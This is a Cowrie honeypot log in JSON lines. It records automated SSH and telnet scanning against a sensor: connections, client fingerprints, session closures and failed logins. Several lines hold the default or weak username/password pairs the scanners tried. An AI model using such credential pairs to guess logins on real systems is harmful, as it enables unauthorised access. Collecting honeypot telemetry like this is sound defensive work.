{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.614291Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.630149Z","src_ip":"43.173.122.127","session":"7e4626af3d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:22.701562Z","src_ip":"43.173.122.127","session":"7e4626af3d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57852,"dst_ip":"10.17.0.5","dst_port":22,"session":"159133dc5720","protocol":"ssh","message":"New connection: 45.153.34.112:57852 (10.17.0.5:22) [session: 159133dc5720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:23.254296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:23.258160Z","src_ip":"45.153.34.112","session":"159133dc5720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:23.340891Z","src_ip":"45.153.34.112","session":"159133dc5720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:23.751484Z","src_ip":"45.153.34.112","session":"159133dc5720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:24.840884Z","src_ip":"45.153.34.112","session":"159133dc5720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.205353021621704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:24.910653Z","src_ip":"192.119.13.58","session":"e0f81161a87c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":59410,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7e62eaaa6ae","protocol":"ssh","message":"New connection: 170.106.177.3:59410 (10.17.0.5:22) [session: d7e62eaaa6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.476492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.485448Z","src_ip":"170.106.177.3","session":"d7e62eaaa6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.553778Z","src_ip":"170.106.177.3","session":"d7e62eaaa6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123456","message":"login attempt [root/Qaz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.859884Z","src_ip":"170.106.177.3","session":"d7e62eaaa6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ca77c73fe05","protocol":"ssh","message":"New connection: 45.153.34.112:57854 (10.17.0.5:22) [session: 6ca77c73fe05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.949079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:26.953811Z","src_ip":"45.153.34.112","session":"6ca77c73fe05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:27.036304Z","src_ip":"45.153.34.112","session":"6ca77c73fe05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:27.282435Z","src_ip":"45.153.34.112","session":"6ca77c73fe05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:27.931290Z","src_ip":"170.106.177.3","session":"d7e62eaaa6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:28.368268Z","src_ip":"45.153.34.112","session":"6ca77c73fe05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57062,"dst_ip":"10.17.0.5","dst_port":22,"session":"03bb7e5f3435","protocol":"ssh","message":"New connection: 45.153.34.112:57062 (10.17.0.5:22) [session: 03bb7e5f3435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:30.776793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:30.785832Z","src_ip":"45.153.34.112","session":"03bb7e5f3435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:30.868866Z","src_ip":"45.153.34.112","session":"03bb7e5f3435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:31.114515Z","src_ip":"45.153.34.112","session":"03bb7e5f3435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":59444,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbcc22e8fa2a","protocol":"ssh","message":"New connection: 170.238.160.191:59444 (10.17.0.5:22) [session: bbcc22e8fa2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:32.177452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:32.181890Z","src_ip":"170.238.160.191","session":"bbcc22e8fa2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:32.200216Z","src_ip":"45.153.34.112","session":"03bb7e5f3435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:32.298324Z","src_ip":"170.238.160.191","session":"bbcc22e8fa2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baby","message":"login attempt [root/baby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:32.795439Z","src_ip":"170.238.160.191","session":"bbcc22e8fa2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:33.915116Z","src_ip":"170.238.160.191","session":"bbcc22e8fa2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.02661371231079,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:33.924510Z","src_ip":"192.119.13.58","session":"aab03f6397aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83c01c61a0a","protocol":"ssh","message":"New connection: 45.153.34.112:57082 (10.17.0.5:22) [session: a83c01c61a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:34.464816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:34.469049Z","src_ip":"45.153.34.112","session":"a83c01c61a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:34.552514Z","src_ip":"45.153.34.112","session":"a83c01c61a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:34.801418Z","src_ip":"45.153.34.112","session":"a83c01c61a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"4826b02e8cf1","protocol":"telnet","message":"New connection: 192.119.13.58:43932 (10.17.0.5:23) [session: 4826b02e8cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:35.722243Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:35.886458Z","src_ip":"45.153.34.112","session":"a83c01c61a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57088,"dst_ip":"10.17.0.5","dst_port":22,"session":"117b66551d57","protocol":"ssh","message":"New connection: 45.153.34.112:57088 (10.17.0.5:22) [session: 117b66551d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:38.350626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:38.354744Z","src_ip":"45.153.34.112","session":"117b66551d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:38.439125Z","src_ip":"45.153.34.112","session":"117b66551d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:38.689040Z","src_ip":"45.153.34.112","session":"117b66551d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:39.774539Z","src_ip":"45.153.34.112","session":"117b66551d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee638924098","protocol":"telnet","message":"New connection: 192.119.13.58:40976 (10.17.0.5:23) [session: 6ee638924098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:41.145511Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40352,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c909725a99e","protocol":"ssh","message":"New connection: 45.153.34.112:40352 (10.17.0.5:22) [session: 6c909725a99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:42.107031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:42.111707Z","src_ip":"45.153.34.112","session":"6c909725a99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:42.194803Z","src_ip":"45.153.34.112","session":"6c909725a99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:42.551247Z","src_ip":"45.153.34.112","session":"6c909725a99e","protocol":"ssh"}
